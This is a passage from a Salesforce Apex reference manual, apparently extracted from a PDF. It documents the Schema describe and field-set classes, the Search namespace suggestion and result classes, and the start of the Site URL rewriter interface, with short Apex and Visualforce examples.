System.debug('The ' + appName + ' app has ' + tsr.getTabs().size() + ' tabs.');
}
}
// Example debug statement output
// DEBUG|The Sales app is selected.
// DEBUG|Logo URL:
https://https://yourInstance.salesforce.com/img/seasonLogos/2014_winter_aloha.png
// DEBUG|The Sales app has no namespace defined.
// DEBUG|The Sales app has 14 tabs.
DescribeTabSetResult Methods
The following are methods for DescribeTabSetResult. All are instance methods.
IN THIS SECTION:
getDescription()
Returns the display description for the standard or custom app.
getLabel()
Returns the display label for the standard or custom app.
getLogoUrl()
Returns a fully qualified URL to the logo image associated with the standard or custom app.
getNamespace()
Returns the developer namespace prefix of a Force.comAppExchange managed package.
getTabs()
Returns metadata information about the standard or custom app’s displayed tabs.
2063
DescribeTabSetResult ClassReference
isSelected()
Returns true if this standard or custom app is the user’s currently selected app. Otherwise, returns false.
getDescription()
Returns the display description for the standard or custom app.
Signature
public String getDescription()
Return Value
Type: String
getLabel()
Returns the display label for the standard or custom app.
Signature
public String getLabel()
Return Value
Type: String
Usage
The display label changes when tabs are renamed in the Salesforce user interface. See the Salesforce online help for more information.
getLogoUrl()
Returns a fully qualified URL to the logo image associated with the standard or custom app.
Signature
public String getLogoUrl()
Return Value
Type: String
getNamespace()
Returns the developer namespace prefix of a Force.comAppExchange managed package.
Signature
public String getNamespace()
2064
DescribeTabSetResult ClassReference
Return Value
Type: String
Usage
This namespace prefix corresponds to the namespace prefix of the Developer Edition organization that was enabled to allow publishing
a managed package. This method applies to a custom app containing a set of tabs and installed as part of a managed package.
getTabs()
Returns metadata information about the standard or custom app’s displayed tabs.
Signature
public List<Schema.DescribeTabResult> getTabs()
Return Value
Type: List<Schema.DescribeTabResult>
isSelected()
Returns true if this standard or custom app is the user’s currently selected app. Otherwise, returns false.
Signature
public Boolean isSelected()
Return Value
Type: Boolean
DisplayType Enum
A Schema.DisplayType enum value is returned by the field describe result's getType method.
Namespace
Schema
What the Field Object ContainsType Field Value
Address valuesaddress
Any value of the following types: String, Picklist, Boolean, Integer, Double,
Percent, ID, Date, DateTime, URL, or Email.
anytype
Base64-encoded arbitrary binary data (of type base64Binary)base64
Boolean (true or false) valuesBoolean
2065
DisplayType EnumReference
What the Field Object ContainsType Field Value
Comboboxes, which provide a set of enumerated values and allow the user to specify a value
not in the list
Combobox
Currency valuesCurrency
Reference to a data category group or a category unique name.DataCategoryGroupReference
Date valuesDate
DateTime valuesDateTime
Double valuesDouble
Email addressesEmail
Encrypted stringEncryptedString
Primary key field for an objectID
Integer valuesInteger
Multi-select picklists, which provide a set of enumerated values from which multiple values can
be selected
MultiPicklist
Percent valuesPercent
Phone numbers. Values can include alphabetic characters. Client applications are responsible for
phone number formatting.
Phone
Single-select picklists, which provide a set of enumerated values from which only one value can
be selected
Picklist
Cross-references to a different object, analogous to a foreign key fieldReference
String valuesString
String values that are displayed as multiline text fieldsTextArea
Time valuesTime
URL values that are displayed as hyperlinksURL
Usage
For more information, see Field Types in the Object Reference for Salesforce and Force.com. For more information about the methods
shared by all enums, see Enum Methods.
FieldSet Class
Contains methods for discovering and retrieving the details of field sets created on sObjects.
Namespace
Schema
2066
FieldSet ClassReference
Usage
Use the methods in the Schema.FieldSet class to discover the fields contained within a field set, and get details about the field
set itself, such as the name, namespace, label, and so on. The following example shows how to get a collection of field set describe result
objects for an sObject. The key of the returned Map is the field set name, and the value is the corresponding field set describe result.
Map<String, Schema.FieldSet> FsMap =
Schema.SObjectType.Account.fieldSets.getMap();
Field sets are also available from sObject describe results. The following lines of code are equivalent to the prior sample:
Schema.DescribeSObjectResult d =
Account.sObjectType.getDescribe();
Map<String, Schema.FieldSet> FsMap =
d.fieldSets.getMap();
To work with an individual field set, you can access it via the map of field sets on an sObject or, when you know the name of the field
set in advance, using an explicit reference to the field set. The following two lines of code retrieve the same field set:
Schema.FieldSet fs1 = Schema.SObjectType.Account.fieldSets.getMap().get('field_set_name');
Schema.FieldSet fs2 = Schema.SObjectType.Account.fieldSets.field_set_name;
Example: Displaying a Field Set on a Visualforce Page
This sample uses Schema.FieldSet and Schema.FieldSetMember methods to dynamically get all the fields in the
Dimensions field set for the Merchandise custom object. The list of fields is then used to construct a SOQL query that ensures those fields
are available for display. The Visualforce page uses the MerchandiseDetails class as its controller.
public class MerchandiseDetails {
public Merchandise__c merch { get; set; }
public MerchandiseDetails() {
this.merch = getMerchandise();
}
public List<Schema.FieldSetMember> getFields() {
return SObjectType.Merchandise__c.FieldSets.Dimensions.getFields();
}
private Merchandise__c getMerchandise() {
String query = 'SELECT ';
for(Schema.FieldSetMember f : this.getFields()) {
query += f.getFieldPath() + ', ';
}
query += 'Id, Name FROM Merchandise__c LIMIT 1';
return Database.query(query);
}
}
The Visualforce page using the above controller is simple:
<apex:page controller="MerchandiseDetails">
<apex:form >
2067
FieldSet ClassReference
<apex:pageBlock title="Product Details">
<apex:pageBlockSection title="Product">
<apex:inputField value="{!merch.Name}"/>
</apex:pageBlockSection>
<apex:pageBlockSection title="Dimensions">
<apex:repeat value="{!fields}" var="f">
<apex:inputField value="{!merch[f.fieldPath]}"
required="{!OR(f.required, f.dbrequired)}"/>
</apex:repeat>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
One thing to note about the above markup is the expression used to determine if a field on the form should be indicated as being a
required field. A field in a field set can be required by either the field set definition, or the field’s own definition. The expression handles
both cases.
FieldSet Methods
The following are methods for FieldSet. All are instance methods.
IN THIS SECTION:
getDescription()
Returns the field set’s description.
getFields()
Returns a list of Schema.FieldSetMember objects for the fields making up the field set.
getLabel()
Returns the text label that is displayed next to the field in the Salesforce user interface.
getName()
Returns the field set’s name.
getNamespace()
Returns the field set’s namespace.
getSObjectType()
Returns the Schema.sObjectType of the sObject containing the field set definition.
getDescription()
Returns the field set’s description.
Signature
public String getDescription()
2068
FieldSet ClassReference
Return Value
Type: String
Usage
Description is a required field for a field set, intended to describe the context and content of the field set. It’s often intended for
administrators who might be configuring a field set defined in a managed package, rather than for end users.
getFields()
Returns a list of Schema.FieldSetMember objects for the fields making up the field set.
Signature
public List<FieldSetMember> getFields()
Return Value
Type: List<Schema.FieldSetMember>
getLabel()
Returns the text label that is displayed next to the field in the Salesforce user interface.
Signature
public String getLabel()
Return Value
Type: String
getName()
Returns the field set’s name.
Signature
public String getName()
Return Value
Type: String
getNamespace()
Returns the field set’s namespace.
2069
FieldSet ClassReference
Signature
public String getNamespace()
Return Value
Type: String
Usage
The returned namespace is an empty string if your organization hasn’t set a namespace, and the field set is defined in your organization.
Otherwise, it’s the namespace of your organization, or the namespace of the managed package containing the field set.
getSObjectType()
Returns the Schema.sObjectType of the sObject containing the field set definition.
Signature
public Schema.SObjectType getSObjectType()
Return Value
Type: Schema.SObjectType
FieldSetMember Class
Contains methods for accessing the metadata for field set member fields.
Namespace
Schema
Usage
Use the methods in the Schema.FieldSetMember class to get details about fields contained within a field set, such as the field
label, type, a dynamic SOQL-ready field path, and so on. The following example shows how to get a collection of field set member
describe result objects for a specific field set on an sObject:
List<Schema.FieldSetMember> fields =
Schema.SObjectType.Account.fieldSets.getMap().get('field_set_name').getFields();
If you know the name of the field set in advance, you can access its fields more directly using an explicit reference to the field set:
List<Schema.FieldSetMember> fields =
Schema.SObjectType.Account.fieldSets.field_set_name.getFields();
SEE ALSO:
FieldSet Class
2070
FieldSetMember ClassReference
FieldSetMember Methods
The following are methods for FieldSetMember. All are instance methods.
IN THIS SECTION:
getDBRequired()
Returns true if the field is required by the field’s definition in its sObject, otherwise, false.
getFieldPath()
Returns a field path string in a format ready to be used in a dynamic SOQL query.
getLabel()
Returns the text label that’s displayed next to the field in the Salesforce user interface.
getRequired()
Returns true if the field is required by the field set, otherwise, false.
getType()
Returns the field’s Apex data type.
getDBRequired()
Returns true if the field is required by the field’s definition in its sObject, otherwise, false.
Signature
public Boolean getDBRequired()
Return Value
Type: Boolean
getFieldPath()
Returns a field path string in a format ready to be used in a dynamic SOQL query.
Signature
public String getFieldPath()
Return Value
Type: String
Example
See Displaying a Field Set on a Visualforce Page for an example of how to use this method.
getLabel()
Returns the text label that’s displayed next to the field in the Salesforce user interface.
2071
FieldSetMember ClassReference
Signature
public String getLabel()
Return Value
Type: String
getRequired()
Returns true if the field is required by the field set, otherwise, false.
Signature
public Boolean getRequired()
Return Value
Type: Boolean
getType()
Returns the field’s Apex data type.
Signature
public Schema.DisplayType getType()
Return Value
Type: Schema.DisplayType
PicklistEntry Class
Represents a picklist entry.
Namespace
Schema
Usage
Picklist fields contain a list of one or more items from which a user chooses a single item. They display as drop-down lists in the Salesforce
user interface. One of the items can be configured as the default item.
A Schema.PicklistEntry object is returned from the field describe result using the getPicklistValues method. For
example:
Schema.DescribeFieldResult F = Account.Industry.getDescribe();
List<Schema.PicklistEntry> P = F.getPicklistValues();
2072
PicklistEntry ClassReference
PicklistEntry Methods
The following are methods for PicklistEntry. All are instance methods.
IN THIS SECTION:
getLabel()
Returns the display name of this item in the picklist.
getValue()
Returns the value of this item in the picklist.
isActive()
Returns true if this item must be displayed in the drop-down list for the picklist field in the user interface, false otherwise.
isDefaultValue()
Returns true if this item is the default value for the picklist, false otherwise. Only one item in a picklist can be designated as
the default.
getLabel()
Returns the display name of this item in the picklist.
Signature
public String getLabel()
Return Value
Type: String
getValue()
Returns the value of this item in the picklist.
Signature
public String getValue()
Return Value
Type: String
isActive()
Returns true if this item must be displayed in the drop-down list for the picklist field in the user interface, false otherwise.
Signature
public Boolean isActive()
2073
PicklistEntry ClassReference
Return Value
Type: Boolean
isDefaultValue()
Returns true if this item is the default value for the picklist, false otherwise. Only one item in a picklist can be designated as the
default.
Signature
public Boolean isDefaultValue()
Return Value
Type: Boolean
RecordTypeInfo Class
Contains methods for accessing record type information for an sObject with associated record types.
Namespace
Schema
Usage
A RecordTypeInfo object is returned from the sObject describe result using the getRecordTypeInfos method. For example:
Schema.DescribeSObjectResult R = Account.SObjectType.getDescribe();
List<Schema.RecordTypeInfo> RT = R.getRecordTypeInfos();
In addition to the getRecordTypeInfos method, you can use the getRecordTypeInfosById and the
getRecordTypeInfosByName methods. These methods return maps that associate RecordTypeInfo with record IDs and record
labels, respectively.
Example
The following example assumes at least one record type has been created for the Account object:
RecordType rt = [SELECT Id,Name FROM RecordType WHERE SobjectType='Account' LIMIT 1];
Schema.DescribeSObjectResult d = Schema.SObjectType.Account;
Map<Id,Schema.RecordTypeInfo> rtMapById = d.getRecordTypeInfosById();
Schema.RecordTypeInfo rtById = rtMapById.get(rt.id);
Map<String,Schema.RecordTypeInfo> rtMapByName = d.getRecordTypeInfosByName();
Schema.RecordTypeInfo rtByName = rtMapByName.get(rt.name);
System.assertEquals(rtById,rtByName);
RecordTypeInfo Methods
The following are methods for RecordTypeInfo. All are instance methods.
2074
RecordTypeInfo ClassReference
IN THIS SECTION:
getName()
Returns the name of this record type.
getRecordTypeId()
Returns the ID of this record type.
isAvailable()
Returns true if this record type is available to the current user, false otherwise. Use this method to display a list of available
record types to the user when he or she is creating a new record.
isDefaultRecordTypeMapping()
Returns true if this is the default record type mapping, false otherwise.
isMaster()
Returns true if this is the master record type and false otherwise. The master record type is the default record type that’s used
when a record has no custom record type associated with it.
getName()
Returns the name of this record type.
Signature
public String getName()
Return Value
Type: String
getRecordTypeId()
Returns the ID of this record type.
Signature
public ID getRecordTypeId()
Return Value
Type: ID
isAvailable()
Returns true if this record type is available to the current user, false otherwise. Use this method to display a list of available record
types to the user when he or she is creating a new record.
Signature
public Boolean isAvailable()
2075
RecordTypeInfo ClassReference
Return Value
Type: Boolean
isDefaultRecordTypeMapping()
Returns true if this is the default record type mapping, false otherwise.
Signature
public Boolean isDefaultRecordTypeMapping()
Return Value
Type: Boolean
isMaster()
Returns true if this is the master record type and false otherwise. The master record type is the default record type that’s used
when a record has no custom record type associated with it.
Signature
public Boolean isMaster()
Return Value
Type: Boolean
SOAPType Enum
A Schema.SOAPType enum value is returned by the field describe result getSoapType method.
Namespace
Schema
What the Field Object ContainsType Field Value
Any value of the following types: String, Boolean, Integer, Double, ID, Date or
DateTime.
anytype
Base64-encoded arbitrary binary data (of type base64Binary)base64binary
Boolean (true or false) valuesBoolean
Date valuesDate
DateTime valuesDateTime
Double valuesDouble
Primary key field for an objectID
2076
SOAPType EnumReference
What the Field Object ContainsType Field Value
Integer valuesInteger
String valuesString
Time valuesTime
Usage
For more information, see SOAPTypes in the SOAP API Developer's Guide. For more information about the methods shared by all enums,
see Enum Methods.
SObjectField Class
A Schema.sObjectField object is returned from the field describe result using the getControler and getSObjectField
methods.
Namespace
Schema
Example
Schema.DescribeFieldResult F = Account.Industry.getDescribe();
Schema.sObjectField T = F.getSObjectField();
sObjectField Methods
The following are instance methods for sObjectField.
IN THIS SECTION:
getDescribe()
Returns the describe field result for this field.
getDescribe()
Returns the describe field result for this field.
Signature
public Schema.DescribeFieldResult getDescribe()
Return Value
Type: Schema.DescribeFieldResult
2077
SObjectField ClassReference
SObjectType Class
A Schema.sObjectType object is returned from the field describe result using the getReferenceTo method, or from the
sObject describe result using the getSObjectType method.
Namespace
Schema
Usage
Schema.DescribeFieldResult F = Account.Industry.getDescribe();
List<Schema.sObjectType> P = F.getReferenceTo();
SObjectType Methods
The following are methods for SObjectType. All are instance methods.
IN THIS SECTION:
getDescribe()
Returns the describe sObject result for this field.
newSObject()
Constructs a new sObject of this type.
newSObject(id)
Constructs a new sObject of this type, with the specified ID.
newSObject(recordTypeId, loadDefaults)
Constructs a new sObject of this type, and optionally, of the specified record type ID and with default custom field values.
getDescribe()
Returns the describe sObject result for this field.
Signature
public Schema.DescribeSObjectResult getDescribe()
Return Value
Type: Schema.DescribeSObjectResult
newSObject()
Constructs a new sObject of this type.
Signature
public sObject newSObject()
2078
SObjectType ClassReference
Return Value
Type: sObject
Example
For an example, see Dynamic sObject Creation Example.
newSObject(id)
Constructs a new sObject of this type, with the specified ID.
Signature
public sObject newSObject(ID id)
Parameters
id
Type: ID
Return Value
Type: sObject
Usage
For the argument, pass the ID of an existing record in the database.
After you create a new sObject, the sObject returned has all fields set to null. You can set any updateable field to desired values and
then update the record in the database. Only the fields you set new values for are updated and all other fields which are not system
fields are preserved.
newSObject(recordTypeId, loadDefaults)
Constructs a new sObject of this type, and optionally, of the specified record type ID and with default custom field values.
Signature
public sObject newSObject(ID recordTypeId, Boolean loadDefaults)
Parameters
recordTypeId
Type: ID
Specifies the record type ID of the sObject to create. If no record type exists for this sObject, use null. If the sObject has record
types and you specify null, the default record type is used.
loadDefaults
Type: Boolean
Specifies whether to populate custom fields with their predefined default values (true) or not (false).
2079
SObjectType ClassReference
Return Value
Type: sObject
Usage
•For required fields that have no default values, make sure to provide a value before inserting the new sObject. Otherwise, the insertion
results in an error. An example is the Account Name field or a master-detail relationship field.
•Since picklists and multi-select picklists can have default values specified per record type, this method populates the default value
corresponding to the record type specified.
•If fields have no predefined default values and the loadDefaults argument is true, this method creates the sObject with
field values of null.
•If the loadDefaults argument is false, this method creates the sObject with field values of null.
•This method populates read-only custom fields of the new sObject with default values. You can then insert the new sObject with
the read-only fields, even though these fields cannot be edited after they’re inserted.
•If a custom field is marked as unique and also provides a default value, inserting more than one new sObject will cause a run-time
exception because of duplicate field values.
To learn more about default field values, see “About Default Field Values” in the Salesforce online help.
Example: Creating New sObject with Default Values
This sample creates an account with any default values populated for its custom fields, if any, using the newSObject method. It also
creates a second account for a specific record type. For both accounts, the sample sets the Name field, which is a required field that
doesn’t have a default value, before inserting the new accounts.
// Create an account with predefined default values
Account acct = (Account)Account.sObjectType.newSObject(null,true);
// Provide a value for Name
acct.Name = 'Acme';
// Insert new account
insert acct;
// This is for record type RT1 of Account
ID rtId = [SELECT Id FROM RecordType WHERE sObjectType='Account' AND Name='RT1'].Id;
Account acct2 = (Account)Account.sObjectType.newSObject(rtId, true);
// Provide a value for Name
acct2.Name = 'Acme2';
// Insert new account
insert acct2;
Search Namespace
The Search namespace provides classes for getting search results and suggestion results.
The following are the classes in the Search namespace.
2080
Search NamespaceReference
IN THIS SECTION:
KnowledgeSuggestionFilter Class
Filter settings that narrow the results from a call to System.Search.suggest(searchQuery, sObjectType,
options) when the SOSL search query contains a KnowledgeArticleVersion object.
QuestionSuggestionFilter Class
The Search.QuestionSuggestionFilter class filters results from a call to
System.Search.suggest(searchQuery, sObjectType, options) when the SOSL searchQuery contains
a FeedItem object.
SearchResult Class
A wrapper object that contains an sObject and search metadata.
SearchResults Class
Wraps the results returned by the Search.find(String) method.
SuggestionOption Class
Options that narrow record and article suggestion results returned from a call to System.Search.suggest(String,
String, Search.SuggestionOption).
SuggestionResult Class
A wrapper object that contains an sObject.
SuggestionResults Class
Wraps the results returned by the Search.suggest(String, String, Search.SuggestionOption) method.
SEE ALSO:
find(searchQuery)
suggest(searchQuery, sObjectType, suggestions)
KnowledgeSuggestionFilter Class
Filter settings that narrow the results from a call to System.Search.suggest(searchQuery, sObjectType, options)
when the SOSL search query contains a KnowledgeArticleVersion object.
Namespace
Search
KnowledgeSuggestionFilter Methods
The following are methods for KnowledgeSuggestionFilter.
IN THIS SECTION:
addArticleType(articleType)
Adds a filter that narrows suggestion results to display the specified article type. This filter is optional.
addDataCategory(dataCategoryGroupName, dataCategoryName)
Adds a filter that narrows suggestion results to display articles in the specified data category. This filter is optional.
2081
KnowledgeSuggestionFilter ClassReference
addTopic(topic)
Specifies the article topic to return. This filter is optional.
setChannel(channelName)
Sets a channel to narrow the suggestion results to articles in the specified channel. This filter is optional.
setDataCategories(dataCategoryFilters)
Adds filters that narrow suggestion results to display articles in the specified data categories. Use this method to set multiple data
category group and name pairs in one call. This filter is optional.
setLanguage(localeCode)
Sets a language to narrow the suggestion results to display articles in that language. This filter value is required in calls to
System.Search.suggest(String,String, Search.SuggestionOption).
setPublishStatus(publishStatus)
Sets a publish status to narrow the suggestion results to display articles with that status. This filter value is required in calls to
System.Search.suggest(String,String, Search.SuggestionOption).
setValidationStatus(validationStatus)
Sets a validation status to narrow the suggestion results to display articles with that status. This filter is optional.
addArticleType(articleType)
Adds a filter that narrows suggestion results to display the specified article type. This filter is optional.
Signature
public void addArticleType(String articleType)
Parameters
articleType
Type: String
A three-character ID prefix indicating the desired article type.
Return Value
Type: void
Usage
To add more than 1 article type, call the method multiple times.
addDataCategory(dataCategoryGroupName, dataCategoryName)
Adds a filter that narrows suggestion results to display articles in the specified data category. This filter is optional.
Signature
public void addDataCategory(String dataCategoryGroupName, String dataCategoryName)
2082
KnowledgeSuggestionFilter ClassReference
Parameters
dataCategoryGroupName
Type: String
The name of the data category group
dataCategoryName
Type: String
The name of the data category.
Return Value
Type: void
Usage
To set multiple data categories, call the method multiple times. The name of the data category group and name of the data category
for desired articles, expressed as a mapping, for example,
Search.KnowledgeSuggestionFilter.addDataCategory('Regions','Asia').
addTopic(topic)
Specifies the article topic to return. This filter is optional.
Signature
public void addTopic(String topic)
Parameters
addTopic
Type: String
The name of the article topic.
Return Value
Type: void
Usage
To add more than 1 article topic, call the method multiple times.
setChannel(channelName)
Sets a channel to narrow the suggestion results to articles in the specified channel. This filter is optional.
Signature
public void setChannel(String channelName)
2083
KnowledgeSuggestionFilter ClassReference
Parameters
channelName
Type: String
The name of a channel. Valid values are:
•AllChannels–Visible in all channels the user has access to
•App–Visible in the internal Salesforce Knowledge application
•Pkb–Visible in the public knowledge base
•Csp–Visible in the Customer Portal
•Prm–Visible in the Partner Portal
If channel isn’t specified, the default value is determined by the type of user.
•Pkb for a guest user
•Csp for a Customer Portal user
•Prm for a Partner Portal user
•App for any other type of user
If channel is specified, the specified value may not be the actual value requested, because of certain requirements.
•For guest, Customer Portal, and Partner Portal users, the specified value must match the default value for each user type. If the
values don’t match or AllChannels is specified, then App replaces the specified value.
•For all users other than guest, Customer Portal, and Partner Portal users:
–If Pkb, Csp, Prm, or App are specified, then the specified value is used.
–If AllChannels is specified, then App replaces the specified value.
Return Value
Type: void
setDataCategories(dataCategoryFilters)
Adds filters that narrow suggestion results to display articles in the specified data categories. Use this method to set multiple data category
group and name pairs in one call. This filter is optional.
Signature
public void setDataCategories(Map dataCategoryFilters)
Parameters
dataCategoryFilters
Type: Map
A map of data category group and data category name pairs.
Return Value
Type: void
2084
KnowledgeSuggestionFilter ClassReference
setLanguage(localeCode)
Sets a language to narrow the suggestion results to display articles in that language. This filter value is required in calls to
System.Search.suggest(String,String, Search.SuggestionOption).
Signature
public void setLanguage(String localeCode)
Parameters
localeCode
Type: String
A locale code. For example, 'en_US' (English–United States), or 'es' (Spanish).
Return Value
Type: void
SEE ALSO:
Supported Locales
setPublishStatus(publishStatus)
Sets a publish status to narrow the suggestion results to display articles with that status. This filter value is required in calls to
System.Search.suggest(String,String, Search.SuggestionOption).
Signature
public void setPublishStatus(String publishStatus)
Parameters
publishStatus
Type: String
A publish status. Valid values are:
•Draft–Articles aren’t published in Salesforce Knowledge.
•Online–Articles are published in Salesforce Knowledge.
•Archived–Articles aren’t published and are available in Archived Articles view.
setValidationStatus(validationStatus)
Sets a validation status to narrow the suggestion results to display articles with that status. This filter is optional.
Signature
public void setValidationStatus(String validationStatus)
2085
KnowledgeSuggestionFilter ClassReference
Parameters
validationStatus
Type: String
An article validation status. These values are available in the ValidationStatus field on the KnowledgeArticleVersion object.
Return Value
Type: void
QuestionSuggestionFilter Class
The Search.QuestionSuggestionFilter class filters results from a call to System.Search.suggest(searchQuery,
sObjectType, options) when the SOSL searchQuery contains a FeedItem object.
Namespace
Search
IN THIS SECTION:
QuestionSuggestionFilter Methods
QuestionSuggestionFilter Methods
The following are methods for QuestionSuggestionFilter.
IN THIS SECTION:
addGroupId(groupId)
Adds a filter to display questions associated with the single specified group whose ID is passed in as an argument. This filter is
optional.
addNetworkId(networkId)
Adds a filter to display questions associated with the single specified network whose ID is passed in as an argument. This filter is
optional.
addUserId(userId)
Adds a filter to display questions belonging to the single specified user whose ID is passed in as an argument. This filter is optional.
setGroupIds(groupIds)
Sets a new list of groups to replace the current list of groups where the group IDs are passed in as an argument. This filter is optional.
setNetworkIds(networkIds)
Sets a new list of networks to replace the current list of networks where the network IDs are passed in as an argument. This filter is
optional.
setTopicId(topicId)
Sets a filter to display questions associated with the single specified topic whose ID is passed in as an argument. This filter is optional.
setUserIds(userIds)
Sets a new list of users to replace the current list of users where the users IDs are passed in as an argument. This filter is optional.
2086
QuestionSuggestionFilter ClassReference
addGroupId(groupId)
Adds a filter to display questions associated with the single specified group whose ID is passed in as an argument. This filter is optional.
Signature
public void addGroupId(String groupId)
Parameters
groupId
Type: String
The ID for a group.
Return Value
Type: void
Usage
To add more than one group, call the method multiple times.
addNetworkId(networkId)
Adds a filter to display questions associated with the single specified network whose ID is passed in as an argument. This filter is optional.
Signature
public void addNetworkId(String networkId)
Parameters
networkId
Type: String
The ID of the community about which you’re retrieving this information.
Return Value
Type: void
Usage
To add more than one network, call the method multiple times.
addUserId(userId)
Adds a filter to display questions belonging to the single specified user whose ID is passed in as an argument. This filter is optional.
Signature
public void addUserId(String userId)
2087
QuestionSuggestionFilter ClassReference
Parameters
userId
Type: String
The ID for the user.
Return Value
Type: void
Usage
To add more than one user, call the method multiple times.
setGroupIds(groupIds)
Sets a new list of groups to replace the current list of groups where the group IDs are passed in as an argument. This filter is optional.
Signature
public void setGroupIds(List<String> groupIds)
Parameters
groupIds
Type: List<String>
A list of group IDs.
Return Value
Type: void
setNetworkIds(networkIds)
Sets a new list of networks to replace the current list of networks where the network IDs are passed in as an argument. This filter is
optional.
Signature
public void setNetworkIds(List<String> networkIds)
Parameters
networkIds
Type: List<String>
A list of network IDs.
Return Value
Type: void
2088
QuestionSuggestionFilter ClassReference
setTopicId(topicId)
Sets a filter to display questions associated with the single specified topic whose ID is passed in as an argument. This filter is optional.
Signature
public void setTopicId(String topicId)
Parameters
topicId
Type: String
The ID for a topic.
Return Value
Type: void
setUserIds(userIds)
Sets a new list of users to replace the current list of users where the users IDs are passed in as an argument. This filter is optional.
Signature
public void setUserIds(List<String> userIds)
Parameters
userIds
Type: List<String>
A list of user IDs.
Return Value
Type: void
SearchResult Class
A wrapper object that contains an sObject and search metadata.
Namespace
Search
SearchResult Methods
The following are methods for SearchResult.
2089
SearchResult ClassReference
IN THIS SECTION:
getSObject()
Returns an sObject from a SearchResult object.
getSnippet(fieldName)
Returns a snippet from a SearchResult object based on the specified field name.
getSnippet()
Returns a snippet from a SearchResult object based on the default field.
getSObject()
Returns an sObject from a SearchResult object.
Signature
public SObject getSObject()
Return Value
Type: SObject
SEE ALSO:
find(searchQuery)
Dynamic SOSL
getSnippet(fieldName)
Returns a snippet from a SearchResult object based on the specified field name.
Signature
public String getSnippet(String fieldName)
Parameters
fieldName
Type: String
The field name to use for creating the snippet.
Return Value
Type: String
SEE ALSO:
find(searchQuery)
Dynamic SOSL
2090
SearchResult ClassReference
getSnippet()
Returns a snippet from a SearchResult object based on the default field.
Signature
public String getSnippet()
Return Value
Type: String
SEE ALSO:
find(searchQuery)
Dynamic SOSL
SearchResults Class
Wraps the results returned by the Search.find(String) method.
Namespace
Search
SearchResults Methods
The following are methods for SearchResults.
IN THIS SECTION:
get(sObjectType)
Returns a list of Search.SearchResult objects that contain an sObject of the specified type.
get(sObjectType)
Returns a list of Search.SearchResult objects that contain an sObject of the specified type.
Signature
public List<Search.SearchResult> get(String sObjectType)
Parameters
sObjectType
Type: String
The name of an sObject in the dynamic SOSL query passed to the Search.find(String) method.
2091
SearchResults ClassReference
Return Value
Type: List<Search.SearchResult>
Usage
SOSL queries passed to the Search.find(String) method can return results for multiple objects. For example, the query
Search.find('FIND \'map\' IN ALL FIELDS RETURNING Account, Contact, Opportunity') includes
results for 3 objects. You can call get(string) to retrieve search results for 1 object at a time. For example, to get results for the
Account object, call Search.SearchResults.get('Account').
SEE ALSO:
find(searchQuery)
SearchResult Methods
Dynamic SOSL
SuggestionOption Class
Options that narrow record and article suggestion results returned from a call to System.Search.suggest(String,String,
Search.SuggestionOption).
Namespace
Search
SuggestionOption Methods
The following are methods for SuggestionOption.
IN THIS SECTION:
setFilter(knowledgeSuggestionFilter)
Set filters that narrow Salesforce Knowledge article results in a call to System.Search.suggest(String,String,
Search.SuggestionOption).
setLimit(limit)
The maximum number of record or article suggestions to retrieve.
setFilter(knowledgeSuggestionFilter)
Set filters that narrow Salesforce Knowledge article results in a call to System.Search.suggest(String,String,
Search.SuggestionOption).
Signature
public void setFilter(Search.KnowledegeSuggestionFilter knowledgeSuggestionFilter)
2092
SuggestionOption ClassReference
Parameters
knowledgeSuggestionFilter
Type: KnowledgeSuggestionFilter
An object containing filters that narrow the search results.
Return Value
Type: void
Usage
Search.KnowledgeSuggestionFilter filters = new Search.KnowledgeSuggestionFilter();
filters.setLanguage('en_US');
filters.setPublishStatus('Online');
filters.setChannel('app');
Search.SuggestionOption options = new Search.SuggestionOption();
options.setFilter(filters);
Search.SuggestionResults suggestionResults = Search.suggest('all','KnowledgeArticleVersion',
options);
for (Search.SuggestionResult searchResult : suggestionResults.getSuggestionResults()) {
KnowledgeArticleVersion article = (KnowledgeArticleVersion)result.getSObject();
System.debug(article.title);
}
setLimit(limit)
The maximum number of record or article suggestions to retrieve.
Signature
public void setLimit(Integer limit)
Parameters
limit
Type: Integer
The maximum number of record or article suggestions to retrieve.
Return Value
Type: void
Usage
By default, the System.Search.suggest(String,String, Search.SuggestionOption) method returns the
5 most relevant results. However, if your query is broad, it could match more than 5 results. If
2093
SuggestionOption ClassReference
Search.SuggestionResults.hasMoreResults() returns true, there are more than 5 results. To retrieve them, call
setLimit(Integer) to increase the number of suggestions results.
Search.SuggestionOption option = new Search.SuggestionOption();
option.setLimit(10);
Search.suggest('my query','mySObjectType', option);
SuggestionResult Class
A wrapper object that contains an sObject.
Namespace
Search
SuggestionResult Methods
The following are methods for SuggestionResult.
IN THIS SECTION:
getSObject()
Returns the sObject from a SuggestionResult object.
getSObject()
Returns the sObject from a SuggestionResult object.
Signature
public SObject getSObject()
Return Value
Type: SObject
SuggestionResults Class
Wraps the results returned by the Search.suggest(String, String, Search.SuggestionOption) method.
Namespace
Search
SuggestionResults Methods
The following are methods for SuggestionResults.
2094
SuggestionResult ClassReference
IN THIS SECTION:
getSuggestionResults()
Returns a list of SuggestionResult objects from the response to a call to Search.suggest(String,String,
Search.SuggestionOption).
hasMoreResults()
Indicates whether a call to System.Search.suggest(String,String, Search.SuggestionOption) has
more results available than were returned.
getSuggestionResults()
Returns a list of SuggestionResult objects from the response to a call to Search.suggest(String,String,
Search.SuggestionOption).
Signature
public List<Search.SuggestionResult> getSuggestionResults()
Return Value
Type: List<SuggestionResult>
hasMoreResults()
Indicates whether a call to System.Search.suggest(String,String, Search.SuggestionOption) has more
results available than were returned.
Signature
public Boolean hasMoreResults()
Return Value
Type: Boolean
Usage
If a limit isn’t specified, 5 records are returned in calls to System.Search.suggest(String,String,
Search.SuggestionOption). If there are more suggested records than the limit specified, a call to hasMoreResults()
returns true.
Site Namespace
The Site namespace provides an interface for rewriting Sites URLs.
The following is the interface in the Site namespace.
2095
Site NamespaceReference
IN THIS SECTION:
UrlRewriter Interface
Enables rewriting Sites URLs.
Site Exceptions
The Site namespace contains an exception class.
UrlRewriter Interface
Enables rewriting Sites URLs.
Namespace
Site
Usage
Sites provides built-in logic that helps you display user-friendly URLs and links to site visitors. Create rules to rewrite URL requests typed
into the address bar, launched from bookmarks, or linked from external websites. You can also create rules to rewrite the URLs for links
within site pages. URL rewriting not only makes URLs more descriptive and intuitive for users, it allows search engines to better index
your site pages.
For example, let's say that you have a blog site. Without URL rewriting, a blog entry's URL might look like this:
http://myblog.force.com/posts?id=003D000000Q0PcN
To rewrite URLs for a site, create an Apex class that maps the original URLs to user-friendly URLs, and then add the Apex class to your
site.
UrlRewriter Methods
